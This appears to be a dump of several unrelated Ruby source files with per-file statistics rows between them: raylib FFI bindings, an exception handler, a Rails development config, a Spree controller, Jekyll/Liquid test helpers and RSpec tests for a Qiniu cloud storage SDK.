attach_function :ImageDrawText, [Image.ptr, Vector2.by_value, :string, :int, Color.by_value], :void
attach_function :ImageDrawTextEx, [Image.ptr, Vector2.by_value, Font.by_value, :string, :float, :float, Color.by_value], :void
attach_function :ImageFlipVertical, [Image.ptr], :void
attach_function :ImageFlipHorizontal, [Image.ptr], :void
attach_function :ImageRotateCW, [Image.ptr], :void
attach_function :ImageRotateCCW, [Image.ptr], :void
attach_function :ImageColorTint, [Image.ptr, Color.by_value], :void
attach_function :ImageColorInvert, [Image.ptr], :void
attach_function :ImageColorGrayscale, [Image.ptr], :void
attach_function :ImageColorContrast, [Image.ptr, :float], :void
attach_function :ImageColorBrightness, [Image.ptr, :int], :void
attach_function :ImageColorReplace, [Image.ptr, Color.by_value, Color.by_value], :void
# Image generation functions
attach_function :GenImageColor, [:int, :int, Color.by_value], Image.by_value # Image#gen_color.by_value
attach_function :GenImageGradientV, [:int, :int, Color.by_value, Color.by_value], Image.by_value # Image#gen_gradient_v
attach_function :GenImageGradientH, [:int, :int, Color.by_value, Color.by_value], Image.by_value # Image#gen_gradient_h
attach_function :GenImageGradientRadial, [:int, :int, :float, Color.by_value, Color.by_value], Image.by_value # Image#gen_gradient_radial
attach_function :GenImageChecked, [:int, :int, :int, :int, Color.by_value, Color.by_value], Image.by_value # Image#gen_checked
attach_function :GenImageWhiteNoise, %i[int int float], Image.by_value # Image#gen_white_noise
attach_function :GenImagePerlinNoise, %i[int int int int float], Image.by_value # Image#gen_perlin_noise
attach_function :GenImageCellular, %i[int int int], Image.by_value # Image#gen_cellular
# Texture2D configuration functions
attach_function :GenTextureMipmaps, [Texture2D.ptr], :void # Texture2D#gen_mipmaps
attach_function :SetTextureFilter, [Texture2D.by_value, :int], :void # Texture2D#filter=
attach_function :SetTextureWrap, [Texture2D.by_value, :int], :void # Texture2D#wrap=
# Texture2D drawing functions
attach_function :DrawTexture, [Texture2D.by_value, :int, :int, Color.by_value], :void # Texture2d#draw
attach_function :DrawTextureV, [Texture2D.by_value, Vector2.by_value, Color.by_value], :void # Texture2d#draw_v
attach_function :DrawTextureEx, [Texture2D.by_value, Vector2.by_value, :float, :float, Color.by_value], :void # Texture2d#draw_ex
attach_function :DrawTextureRec, [Texture2D.by_value, Rectangle.by_value, Vector2.by_value, Color.by_value], :void # Texture2d#draw_rec
attach_function :DrawTexturePro, [Texture2D.by_value, Rectangle.by_value, Rectangle.by_value, Vector2.by_value, :float, Color.by_value], :void
# ^ Texture2d#draw_pro
#------------------------------------------------------------------------------------
# Font Loading and Text Drawing Functions (Module: text)
#------------------------------------------------------------------------------------
# Font loading/unloading functions
attach_function :GetFontDefault, [], Font.by_value # Font#default
attach_function :LoadFont, %i[string], Font.by_value # Font#load
attach_function :LoadFontEx, %i[string int int pointer], Font.by_value # Font#load_ex
attach_function :LoadFontData, %i[string int pointer int bool], :pointer # Font#load_data
attach_function :GenImageFontAtlas, %i[pointer int int int int], Image.by_value # Font#gen_image_atlas
attach_function :UnloadFont, [Font.by_value], :void # Font#unload
# Text drawing functions
attach_function :DrawFPS, %i[int int], :void # Draw#fps
attach_function :DrawText, [:string, :int, :int, :int, Color.by_value], :void # Draw#text
attach_function :DrawTextEx, [Font.by_value, :string, Vector2.by_value, :float, :float, Color.by_value], :void # Draw#text_ex
# Text misc. functions
attach_function :MeasureText, %i[string int], :int # Font#measure_text
attach_function :MeasureTextEx, [Font.by_value, :string, :float, :float], Vector2.by_value # Font#measure_text_ex
attach_function :GetGlyphIndex, [Font.by_value, :int], :int # Font#glyph_index
# Text strings management functions
# FIXME: maybe point to ruby versions instead.
#------------------------------------------------------------------------------------
# Basic 3d Shapes Drawing Functions (Module: models)
#------------------------------------------------------------------------------------
# Basic geometric 3D shapes drawing functions
attach_function :DrawLine3D, [Vector3.by_value, Vector3.by_value, Color.by_value], :void # Draw#line_3d
attach_function :DrawCircle3D, [Vector3.by_value, :float, Vector3.by_value, :float, Color.by_value], :void # Draw#circle_3d
attach_function :DrawCube, [Vector3.by_value, :float, :float, :float, Color.by_value], :void # Draw#cube
attach_function :DrawCubeV, [Vector3.by_value, Vector3.by_value, Color.by_value], :void # Draw#cube_v
attach_function :DrawCubeWires, [Vector3.by_value, :float, :float, :float, Color.by_value], :void # Draw#cube_wires
attach_function :DrawCubeTexture, [Texture2D.by_value, Vector3.by_value, :float, :float, :float, Color.by_value], :void # Draw#cube_texture
attach_function :DrawSphere, [Vector3.by_value, :float, Color.by_value], :void # Draw#sphere
attach_function :DrawSphereEx, [Vector3.by_value, :float, :int, :int, Color.by_value], :void # Draw#sphere_ex
attach_function :DrawSphereWires, [Vector3.by_value, :float, :int, :int, Color.by_value], :void # Draw#sphere_wires
attach_function :DrawCylinder, [Vector3.by_value, :float, :float, :float, :int, Color.by_value], :void # Draw#cylinder
attach_function :DrawCylinderWires, [Vector3.by_value, :float, :float, :float, :int, Color.by_value], :void # Draw#cylinder_wires
attach_function :DrawPlane, [Vector3.by_value, Vector2.by_value, Color.by_value], :void # Draw#plane
attach_function :DrawRay, [Ray.by_value, Color.by_value], :void # Ray#draw
attach_function :DrawGrid, %i[int float], :void # Draw#grid
attach_function :DrawGizmo, [Vector3.by_value], :void # Draw#gizmo
# DrawTorus(), DrawTeapot() could be useful?
#------------------------------------------------------------------------------------
# Model 3d Loading and Drawing Functions (Module: models)
#------------------------------------------------------------------------------------
# Model loading/unloading functions
attach_function :LoadModel, %i[string], Model.by_value # Model#load
attach_function :LoadModelFromMesh, [Mesh.by_value], Model.by_value # Mesh#to_model
attach_function :UnloadModel, [Model.by_value], :void # Model#unload
# Mesh loading/unloading functions
# FIXME: LoadMeshes
attach_function :UnloadMesh, [Mesh.ptr], :void # Mesh#unload
attach_function :ExportMesh, [:string, Mesh.by_value], :void # Mesh#export
# Mesh manipulation functions
attach_function :MeshBoundingBox, [Mesh.by_value], BoundingBox.by_value # Mesh#
attach_function :MeshTangents, [Mesh.ptr], :void # Mesh#
attach_function :MeshBinormals, [Mesh.ptr], :void # Mesh#
# Mesh generation functions
attach_function :GenMeshPlane, %i[float float int int], Mesh.by_value # Mesh#gen_plane
attach_function :GenMeshCube, %i[float float float], Mesh.by_value # Mesh#gen_cube
attach_function :GenMeshSphere, %i[float int int], Mesh.by_value # Mesh#gen_sphere
attach_function :GenMeshHemiSphere, %i[float int int], Mesh.by_value # Mesh#gen_hemisphere
attach_function :GenMeshCylinder, %i[float float int], Mesh.by_value # Mesh#gen_cylinder
attach_function :GenMeshTorus, %i[float float int int], Mesh.by_value # Mesh#gen_torus
attach_function :GenMeshKnot, %i[float float int int], Mesh.by_value # Mesh#gen_knot
attach_function :GenMeshHeightmap, [Image.by_value, Vector3.by_value], Mesh.by_value # Mesh#gen_heightmap
attach_function :GenMeshCubicmap, [Image.by_value, Vector3.by_value], Mesh.by_value # Mesh#gen_cubicmap
# Material loading/unloading functions
attach_function :LoadMaterials, %i[string pointer], :pointer # Material#load
attach_function :LoadMaterialDefault, [], Material.by_value # Material#load_default
attach_function :UnloadMaterial, [Material.by_value], :void # Material#unload
# Model drawing functions
attach_function :DrawModel, [Model.by_value, Vector3.by_value, :float, Color.by_value], :void # Model#draw
attach_function :DrawModelEx, [Model.by_value, Vector3.by_value, Vector3.by_value, :float, Vector3.by_value, Color.by_value], :void # Model#draw_ex
attach_function :DrawModelWires, [Model.by_value, Vector3.by_value, :float, Color.by_value], :void # Model#draw_wires
attach_function :DrawModelWiresEx, [Model.by_value, Vector3.by_value, Vector3.by_value, :float, Vector3.by_value, Color.by_value], :void # Model#draw_wires_ex
attach_function :DrawBoundingBox, [BoundingBox.by_value, Color.by_value], :void # BoundingBox#draw
attach_function :DrawBillboard, [Camera.by_value, Texture2D.by_value, Vector3.by_value, :float, Color.by_value], :void # Draw#billboard
attach_function :DrawBillboardRec, [Camera.by_value, Texture2D.by_value, Rectangle.by_value, Vector3.by_value, :float, Color.by_value], :void # Draw#billboard_rec
# Collision detection functions
attach_function :CheckCollisionSpheres, [Vector3.by_value, :float, Vector3.by_value, :float], :bool # Collision#check_spheres
attach_function :CheckCollisionBoxes, [BoundingBox.by_value, BoundingBox.by_value], :bool # Collision#check_boxes
attach_function :CheckCollisionBoxSphere, [BoundingBox.by_value, Vector3.by_value, :float], :bool # Collision#check_box_sphere
attach_function :CheckCollisionRaySphere, [Ray.by_value, Vector3.by_value, :float], :bool # Collision#check_ray_sphere
attach_function :CheckCollisionRaySphereEx, [Ray.by_value, Vector3.by_value, :float, Vector3.ptr], :bool # Collision#check_ray_sphere_ex
attach_function :CheckCollisionRayBox, [Ray.by_value, BoundingBox.by_value], :bool # Collision#check_ray_box
attach_function :GetCollisionRayModel, [Ray.by_value, Model.ptr], RayHitInfo.by_value # Collision#check_ray_model
attach_function :GetCollisionRayTriangle, [Ray.by_value, Vector3.by_value, Vector3.by_value, Vector3.by_value], RayHitInfo.by_value # Collision#check_ray_triangle
attach_function :GetCollisionRayGround, [Ray.by_value, :float], RayHitInfo.by_value # Collision#check_ray_ground
#------------------------------------------------------------------------------------
# Shaders System Functions (Module: rlgl)
# NOTE: This functions are useless when using OpenGL 1.1
#------------------------------------------------------------------------------------
# Shader loading/unloading functions
attach_function :LoadText, [:string], :string # Raylib#load_text
attach_function :LoadShader, %i[string string], Shader.by_value # Shader#load
attach_function :LoadShaderCode, %i[string string], Shader.by_value # Shader#load_code
attach_function :UnloadShader, [Shader.by_value], :void # Shader#unload
attach_function :GetShaderDefault, [], Shader.by_value # Shader#default
attach_function :GetTextureDefault, [], Texture2D.by_value # Texture2D#default
# Shader configuration functions
attach_function :GetShaderLocation, [Shader.by_value, :string], :int # Shader#location
attach_function :SetShaderValue, [Shader.by_value, :int, :pointer, :int], :void # Shader#set_value
attach_function :SetShaderValueV, [Shader.by_value, :int, :pointer, :int, :int], :void # Shader#set_value_v
attach_function :SetShaderValueTexture, [Shader.by_value, :int, Texture2D.by_value], :void # Shader#set_value_texture
attach_function :SetShaderValueMatrix, [Shader.by_value, :int, Matrix.by_value], :void # Shader#set_value_matrix
attach_function :SetMatrixProjection, [Matrix.by_value], :void # Shader#matrix_projection=
attach_function :SetMatrixModelview, [Matrix.by_value], :void # Shader#matrix_modelview=
attach_function :GetMatrixModelview, [], Matrix.by_value # Shader#matrix_modelview
# Texture maps generation (PBR)
# NOTE: Required shaders should be provided
attach_function :GenTextureCubemap, [Shader.by_value, Texture2D.by_value, :int], Texture2D.by_value # Shader#gen_texture_cubemap
attach_function :GenTextureIrradiance, [Shader.by_value, Texture2D.by_value, :int], Texture2D.by_value # Shader#gen_texture_irradiance
attach_function :GenTexturePrefilter, [Shader.by_value, Texture2D.by_value, :int], Texture2D.by_value # Shader#gen_texture_prefilter
attach_function :GenTextureBRDF, [Shader.by_value, Texture2D.by_value, :int], Texture2D.by_value # Shader#gen_texture_brdf
# Shading begin/end functions
attach_function :BeginShaderMode, [Shader.by_value], :void # Shader#begin_shader_mode
attach_function :EndShaderMode, [], :void # Shader#end_shader_mode
attach_function :BeginBlendMode, %i[int], :void # Draw#begin_blend_mode
attach_function :EndBlendMode, [], :void # Draw#end_blend_mode
# VR control functions
attach_function :InitVrSimulator, [], :void # VrDeviceInfo#init_vr_simulator
attach_function :CloseVrSimulator, [], :void # VrDeviceInfo#close_vr_simulator
attach_function :UpdateVrTracking, [Camera.ptr], :void # VrDeviceInfo#vr_tracking=
attach_function :SetVrConfiguration, [VrDeviceInfo.by_value, Shader.by_value], :void # VrDeviceInfo#distortion=
attach_function :IsVrSimulatorReady, [], :bool # VrDeviceInfo#is_vr_simulator_ready?
attach_function :ToggleVrMode, [], :void # VrDeviceInfo#toggle_vr_mode
attach_function :BeginVrDrawing, [], :void # VrDeviceInfo#begin_vr_drawing
attach_function :EndVrDrawing, [], :void # VrDeviceInfo#end_vr_drawing
#------------------------------------------------------------------------------------
# Audio Loading and Playing Functions (Module: audio)
#------------------------------------------------------------------------------------
# Audio device management functions
attach_function :InitAudioDevice, [], :void # AudioDevice#init
attach_function :CloseAudioDevice, [], :void # AudioDevice#close
attach_function :IsAudioDeviceReady, [], :bool # AudioDevice#is_ready?
attach_function :SetMasterVolume, [:float], :void # AudioDevice#master_volume=
# Wave/Sound loading/unloading functions
attach_function :LoadWave, %i[string], Wave.by_value # Wave#load
attach_function :LoadWaveEx, %i[pointer int int int int], Wave.by_value # Wave#load_ex
attach_function :LoadSound, [:string], Sound.by_value # Sound#load
attach_function :LoadSoundFromWave, [Wave.by_value], Sound.by_value # Wave#to_sound
attach_function :UpdateSound, [Sound.by_value, :pointer, :int], :void # Sound#update
attach_function :UnloadWave, [Wave.by_value], :void # Wave#unload
attach_function :UnloadSound, [Sound.by_value], :void # Sound#unload
# Wave/Sound management functions
attach_function :PlaySound, [Sound.by_value], :void # Sound#play
attach_function :PauseSound, [Sound.by_value], :void # Sound#pause
attach_function :ResumeSound, [Sound.by_value], :void # Sound#resume
attach_function :StopSound, [Sound.by_value], :void # Sound#stop
attach_function :IsSoundPlaying, [Sound.by_value], :bool # Sound#is_playing?
attach_function :SetSoundVolume, [Sound.by_value, :float], :void # Sound#volume=
attach_function :SetSoundPitch, [Sound.by_value, :float], :void # Sound#pitch=
attach_function :WaveFormat, [Wave.ptr, :int, :int, :int], :void # Wave#format!
attach_function :WaveCopy, [Wave.by_value], Wave.by_value # Wave#copy
attach_function :WaveCrop, [Wave.ptr, :int, :int], :void # Wave#crop!
attach_function :GetWaveData, [Wave.by_value], :pointer # Wave#to_data
# Music management functions
attach_function :LoadMusicStream, [:string], Music.ptr # Music#load
attach_function :UnloadMusicStream, [Music.ptr], :void # Music#unload
attach_function :PlayMusicStream, [Music.ptr], :void # Music#play
attach_function :UpdateMusicStream, [Music.ptr], :void # Music#update
attach_function :StopMusicStream, [Music.ptr], :void # Music#stop
attach_function :PauseMusicStream, [Music.ptr], :void # Music#pause
attach_function :ResumeMusicStream, [Music.ptr], :void # Music#resume
attach_function :IsMusicPlaying, [Music.ptr], :bool # Music#is_playing?
attach_function :SetMusicVolume, [Music.ptr, :float], :void # Music#volume=
attach_function :SetMusicPitch, [Music.ptr, :float], :void # Music#pitch=
attach_function :SetMusicLoopCount, [Music.ptr, :int], :void # Music#loop_count=
attach_function :GetMusicTimeLength, [Music.ptr], :float # Music#time_length
attach_function :GetMusicTimePlayed, [Music.ptr], :float # Music#time_played
# AudioStream management functions
attach_function :InitAudioStream, %i[uint uint uint], AudioStream.by_value # AudioStream#create
attach_function :UpdateAudioStream, [AudioStream.by_value, :pointer, :int], :void # AudioStream#update
attach_function :CloseAudioStream, [AudioStream.by_value], :void # AudioStream#close
attach_function :IsAudioBufferProcessed, [AudioStream.by_value], :bool # AudioStream#is_buffer_processed?
attach_function :PlayAudioStream, [AudioStream.by_value], :void # AudioStream#play
attach_function :PauseAudioStream, [AudioStream.by_value], :void # AudioStream#pause
attach_function :ResumeAudioStream, [AudioStream.by_value], :void # AudioStream#resume
attach_function :IsAudioStreamPlaying, [AudioStream.by_value], :bool # AudioStream#is_playing?
attach_function :StopAudioStream, [AudioStream.by_value], :void # AudioStream#stop
attach_function :SetAudioStreamVolume, [AudioStream.by_value, :float], :void # AudioStream#volume=
attach_function :SetAudioStreamPitch, [AudioStream.by_value, :float], :void # AudioStream#pitch=
end | 83.612159 | 167 | 0.599579 |
e852f0ffa8b0711a155e604d5e1cfbc025de046f | 342 | require_relative 'out'
class ExceptionHandler
def handle(info=nil)
begin
return yield
rescue Exception => details
if !info.to_s.empty?
$out.error info
end
$out.error details.message
details.backtrace.reverse.each do |detail|
$out.error detail
end
exit -1
end
end
end
| 18 | 48 | 0.619883 |
4a7374acb73c382c3cac9c89571c6b00e6899529 | 2,086 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
if Rails.root.join('tmp/caching-dev.txt').exist?
config.action_controller.perform_caching = true
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{2.days.seconds.to_i}"
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = true
config.action_mailer.delivery_method = :test
host = 'localhost:3000' # ローカル環境
config.action_mailer.default_url_options = { host: "example.com", protocol: 'http' }
config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
# Suppress logger output for asset requests.
config.assets.quiet = true
# Raises error for missing translations
# config.action_view.raise_on_missing_translations = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
config.file_watcher = ActiveSupport::EventedFileUpdateChecker
end
| 35.965517 | 86 | 0.752637 |
1a517b945c6a56ef63f4736c35b5e59217953bce | 451 | # frozen_string_literal: true
class Spree::PurchasePolicyTypesController < Spree::StoreController
before_action :load_purchase_policy
def index
@purchase_policy_types = Spree::PurchasePolicyType.all
end
def show
@purchase_policy_type = Spree::PurchasePolicyType.find(params[:id])
end
protected
def load_purchase_policy_types
@purchase_policy ||= Spree::PurchasePolicy.find_by!(id: params[:purchase_policy_id])
end
end
| 22.55 | 88 | 0.778271 |
61353dea088cf9dd94fc353621e6a0811cb6b3b6 | 2,697 |
$is_Jekyll = false
begin
require "jekyll"
puts "testing cases using jekyll"
$is_Jekyll = true
rescue LoadError
require "liquid"
puts "testing cases using liquid"
end
Liquid::Template.error_mode = :strict
def isJekyll
$is_Jekyll
end
def assertEqual(expected, real)
if expected != real
raise "#{real} is not #{expected}"
end
end
def assert_equal(expected, real)
assertEqual(expected, real)
end
def assertRaise(&block)
begin
block.call
rescue
return
end
raise 'expected exception'
end
def assert_raises *exp
raise "assert_raises requires a block to capture errors." unless block_given?
msg = "#{exp.pop}.\n" if String === exp.last
exp << StandardError if exp.empty?
begin
yield
rescue *exp => e
return e
rescue Minitest::Skip, Minitest::Assertion
# don't count assertion
raise
rescue SignalException, SystemExit
raise
rescue Exception => e
raise e
end
raise "expected exception but nothing was raised."
end
def assert_nil(arg)
assert_equal nil, arg
end
def parse(source, options = {})
Liquid::Template.parse(source, options)
end
def render(source, data = {}, options = {:strict_variables => true})
parse(source).render!(data, options);
end
if isJekyll
def default_configuration
Marshal.load(Marshal.dump(Jekyll::Configuration::DEFAULTS))
end
def root_dir(*subdirs)
File.expand_path(File.join("..", *subdirs), __dir__)
end
def test_dir(*subdirs)
root_dir("test", *subdirs)
end
def source_dir(*subdirs)
test_dir("source", *subdirs)
end
def dest_dir(*subdirs)
test_dir("dest", *subdirs)
end
def build_configs(overrides, base_hash = default_configuration)
Jekyll::Utils.deep_merge_hashes(base_hash, overrides)
end
def site_configuration(overrides = {})
full_overrides = build_configs(overrides, build_configs(
"destination" => dest_dir,
"incremental" => false,
"disable_disk_cache" => true
))
Jekyll::Configuration.from(full_overrides.merge(
"source" => source_dir
))
end
class JekyllFilter
include Jekyll::Filters
attr_accessor :site, :context
def initialize(opts = {})
@site = Jekyll::Site.new(opts.merge("skip_config_files" => true))
@context = Liquid::Context.new(@site.site_payload, {}, :site => @site)
end
end
class Value
def initialize(value)
@value = value
end
def to_s
@value.respond_to?(:call) ? @value.call : @value.to_s
end
end
def make_filter_mock(opts = {})
JekyllFilter.new(site_configuration(opts)).tap do |f|
tz = f.site.config["timezone"]
Jekyll.set_timezone(tz) if tz
end
end
end
| 19.686131 | 79 | 0.678161 |
117d2b4c08dc934e8b853b31f7df704e437ddcdd | 523 | # frozen_string_literal: true
# Creates a new API scenario with the given attributes. Scenarios are marked as
# protected.
CreateAPIScenario = lambda do |attributes = {}|
attributes = attributes
.slice(:area_code, :end_year, :scenario_id, :protected)
.reverse_merge(protected: true, source: 'ETM')
scenario = Api::Scenario.create(scenario: { scenario: attributes })
if scenario.errors.any?
return ServiceResult.failure(scenario.errors.full_messages)
end
return ServiceResult.success(scenario)
end
| 29.055556 | 79 | 0.751434 |
b9ac86935b400187c2217d4a51c0c22be322f202 | 24,018 | # frozen_string_literal: true
require 'fileutils'
RSpec.describe QiniuNg::Storage do
describe QiniuNg::Storage::BucketManager do
it 'should get all bucket names' do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
expect(client.bucket_names).to include('z0-bucket', 'z1-bucket', 'na-bucket')
end
it 'should create / drop bucket' do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
bucket = client.create_bucket("test-bucket-#{time_id}")
begin
expect(client.bucket_names).to include(bucket.name)
ensure
bucket.clear_all!
bucket.drop!
end
end
end
describe QiniuNg::Storage::Bucket do
client = nil
bucket = nil
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
bucket = client.create_bucket("test-bucket-#{time_id}")
end
after :all do
bucket&.clear_all!
bucket&.drop!
end
it 'should get bucket domains' do
expect(client.bucket('z0-bucket').domains).to include('z0-bucket.kodo-test.qiniu-solutions.com')
end
it 'should set / unset image for bucket' do
expect(bucket.image).to be_nil
begin
bucket.set_image 'http://www.qiniu.com', source_host: 'z0-bucket.kodo-test.qiniu-solutions.com'
expect(bucket.image.source_url).to eq('http://www.qiniu.com')
expect(bucket.image.source_host).to eq('z0-bucket.kodo-test.qiniu-solutions.com')
ensure
bucket.unset_image
end
end
it 'should prefetch image from remote url' do
expect(bucket.image).to be_nil
begin
bucket.set_image 'https://mars-assets.qnssl.com'
expect(bucket.entry('qiniulog/img-slogan-white-en.png').prefetch.stat.mime_type).to eq 'image/png'
expect(bucket.entry('qiniulog/img-slogan-blue-en.png').prefetch.stat.mime_type).to eq 'image/png'
expect(bucket.entry('qiniulogo/img-horizontal-white-en.png').prefetch.stat.mime_type).to eq 'image/png'
expect(bucket.entry('qiniulogo/img-verical-white-en.png').prefetch.stat.mime_type).to eq 'image/png'
ensure
bucket.unset_image
end
end
it 'should add rules to life cycle rules' do
rules = bucket.life_cycle_rules
expect(rules.to_a).to be_empty
rules.new(name: 'test_rule1').delete_after(days: 7).to_line_after(days: 3).create!
rules.new(name: 'test_rule2').start_with('temp').delete_after(days: 3).always_to_line.create!
expect(rules.to_a.size).to eq 2
test_rule1 = rules.find { |rule| rule.name == 'test_rule1' }
expect(test_rule1.prefix).to be_empty
expect(test_rule1.delete_after_days).to eq 7
expect(test_rule1.to_line_after_days).to eq 3
expect(test_rule1).not_to be_always_to_line
test_rule2 = rules.find { |rule| rule.name == 'test_rule2' }
expect(test_rule2.prefix).to eq 'temp'
expect(test_rule2.delete_after_days).to eq 3
expect(test_rule2).to be_always_to_line
rules.new(name: 'test_rule2').start_with('fake').delete_after(days: 3).always_to_line.replace!
expect(rules.to_a.size).to eq 2
test_rule1 = rules.find { |rule| rule.name == 'test_rule1' }
expect(test_rule1.prefix).to be_empty
expect(test_rule1.delete_after_days).to eq 7
expect(test_rule1.to_line_after_days).to eq 3
expect(test_rule1).not_to be_always_to_line
test_rule2 = rules.find { |rule| rule.name == 'test_rule2' }
expect(test_rule2.prefix).to eq 'fake'
expect(test_rule2.delete_after_days).to eq 3
expect(test_rule2).to be_always_to_line
rules.delete(name: 'test_rule2')
expect(rules.to_a.size).to eq 1
test_rule1 = rules.find { |rule| rule.name == 'test_rule1' }
expect(test_rule1.prefix).to be_empty
expect(test_rule1.delete_after_days).to eq 7
expect(test_rule1.to_line_after_days).to eq 3
expect(test_rule1).not_to be_always_to_line
rules.delete(name: 'test_rule1')
expect(rules.to_a).to be_empty
end
it 'should add rules to bucket event rules' do
rules = bucket.bucket_event_rules
expect(rules.to_a).to be_empty
event_types1 = [QiniuNg::Storage::Model::BucketEventType::PUT, QiniuNg::Storage::Model::BucketEventType::MKFILE]
rules.new(name: 'test_rule1')
.listen_on(event_types1)
.callback('http://www.test1.com')
.create!
event_types2 = [QiniuNg::Storage::Model::BucketEventType::COPY, QiniuNg::Storage::Model::BucketEventType::MOVE]
rules.new(name: 'test_rule2')
.listen_on(event_types2)
.callback(%w[http://www.test21.com http://www.test22.com], host: 'www.test2.com')
.start_with('prefix-')
.end_with('.mp3')
.create!
expect(rules.to_a.size).to eq 2
test_rule1 = rules.find { |rule| rule.name == 'test_rule1' }
expect(test_rule1.prefix).to be_empty
expect(test_rule1.suffix).to be_empty
expect(test_rule1.events).to match_array(event_types1)
expect(test_rule1.callback_urls).to eq ['http://www.test1.com']
expect(test_rule1.callback_host).to be_empty
test_rule2 = rules.find { |rule| rule.name == 'test_rule2' }
expect(test_rule2.prefix).to eq 'prefix-'
expect(test_rule2.suffix).to eq '.mp3'
expect(test_rule2.events).to match_array(event_types2)
expect(test_rule2.callback_urls).to eq %w[http://www.test21.com http://www.test22.com]
expect(test_rule2.callback_host).to eq 'www.test2.com'
rules.delete(name: 'test_rule1')
expect(rules.to_a.size).to eq 1
end
it 'should set / get cors rules' do
cors_rules = bucket.cors_rules
new_rule1 = cors_rules.new(%w[http://www.test1.com http://www.test2.com], %w[GET DELETE]).cache_max_age(days: 365)
new_rule2 = cors_rules.new(%w[http://www.test3.com http://www.test4.com], %w[POST PUT]).cache_max_age(days: 365)
cors_rules.set([new_rule1, new_rule2])
expect(cors_rules.to_a.size).to eq 2
cors_rules.clear
expect(cors_rules.to_a).to be_empty
end
it 'should enable / disable original protection' do
bucket.disable_original_protection
bucket.enable_original_protection
end
it 'should set max age' do
bucket.set_cache_max_age(days: 5)
expect(bucket.cache_max_age.days).to eq 5
end
it 'should update bucket acl' do
expect(bucket).not_to be_private
begin
bucket.private!
expect(bucket).to be_private
ensure
bucket.public!
expect(bucket).not_to be_private
end
end
it 'should update bucket noIndexPage' do
expect(bucket).to have_index_page
begin
bucket.disable_index_page
expect(bucket).not_to have_index_page
ensure
bucket.enable_index_page
expect(bucket).to have_index_page
end
end
it 'should set bucket quota' do
bucket.set_quota size: 2048
quota = bucket.quota
expect(quota.size).to eq 2048
expect(quota.count).to be_nil
bucket.set_quota count: 50
quota = bucket.quota
expect(quota.size).to eq 2048
expect(quota.count).to eq 50
bucket.set_quota size: nil
quota = bucket.quota
expect(quota.size).to be_nil
expect(quota.count).to eq 50
bucket.set_quota count: nil
quota = bucket.quota
expect(quota.size).to be_nil
expect(quota.count).to be_nil
end
end
describe QiniuNg::Storage::Entry do
client = nil
bucket = nil
entry = nil
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
bucket = client.bucket('z0-bucket')
end
describe 'Basic' do
before :all do
entry = bucket.entry("16k-#{Time.now.usec}")
bucket.upload(filepath: create_temp_file(kilo_size: 16), key: entry.key, upload_token: entry.upload_token)
end
after :all do
entry.try_delete
end
it 'should disable / enable the entry' do
public_url = entry.public_url
private_url = public_url.private
expect(head(public_url.refresh)).to be_success
expect(head(private_url.refresh)).to be_success
begin
entry.disable!
expect { head(public_url.refresh).status }.to eventually eq 403
expect { head(private_url.refresh).status }.to eventually eq 403
ensure
entry.enable!
expect { head(public_url.refresh) }.to eventually be_success
expect { head(private_url.refresh) }.to eventually be_success
end
end
it 'should set entry to infrequent / normal storage' do
expect(entry.stat).to be_normal_storage
expect(entry.stat).not_to be_infrequent_storage
begin
entry.infrequent_storage!
expect { entry.stat }.to eventually_not be_normal_storage
expect { entry.stat }.to eventually be_infrequent_storage
ensure
entry.normal_storage!
expect { entry.stat }.to eventually be_normal_storage
expect { entry.stat }.to eventually_not be_infrequent_storage
end
end
it 'should change mime_type' do
original_mime_type = entry.stat.mime_type
expect(entry.stat.mime_type).not_to eq 'application/json'
begin
entry.change_mime_type 'application/json'
expect { entry.stat.mime_type }.to eventually eq 'application/json'
ensure
entry.change_mime_type original_mime_type
expect { entry.stat.mime_type }.to eventually_not eq 'application/json'
end
end
it 'should rename the entry' do
old_public_url = entry.public_url
expect(head(old_public_url.refresh)).to be_success
new_entry = bucket.entry("16K-#{Time.now.usec}")
new_public_url = new_entry.public_url
begin
entry.rename_to(new_entry.key)
expect { head(old_public_url.refresh).status }.to eventually eq 404
expect { head(new_public_url.refresh) }.to eventually be_success
ensure
new_entry.rename_to(entry.key, force: true)
expect { head(old_public_url.refresh) }.to eventually be_success
expect { head(new_public_url.refresh).status }.to eventually eq 404
end
end
it 'should copy / delete the entry' do
old_public_url = entry.public_url
expect(head(old_public_url.refresh)).to be_success
new_entry = bucket.entry("16K-#{Time.now.usec}")
new_public_url = new_entry.public_url
begin
entry.copy_to(bucket.name, new_entry.key)
expect { head(old_public_url.refresh) }.to eventually be_success
expect { head(new_public_url.refresh) }.to eventually be_success
ensure
new_entry.delete
expect { head(old_public_url.refresh) }.to eventually be_success
expect { head(new_public_url.refresh).status }.to eventually eq 404
end
end
end
describe 'List' do
it 'should list all the files' do
iter = client.bucket('na-bucket').files
count = 0
iter.each_with_index do |e, i|
expect(e.bucket_name).to eq 'na-bucket'
expect(e.key).to eq(format('%04d', i))
expect(e.file_size).to eq 1024
expect(e).to be_normal_storage
expect(e).to be_enabled
count += 1
end
expect(count).to eq 2500
end
it 'should list part of the files' do
iter = client.bucket('na-bucket').files limit: 1500
count = 0
iter.each_with_index do |e, i|
expect(e.bucket_name).to eq 'na-bucket'
expect(e.key).to eq(format('%04d', i))
expect(e.file_size).to eq 1024
expect(e).to be_normal_storage
expect(e).to be_enabled
count += 1
end
expect(count).to eq 1500
end
it 'should list all files started with the specified string' do
iter = client.bucket('na-bucket').files prefix: '1'
count = 0
iter.each_with_index do |e, i|
expect(e.bucket_name).to eq 'na-bucket'
expect(e.key).to eq(format('%04d', i + 1000))
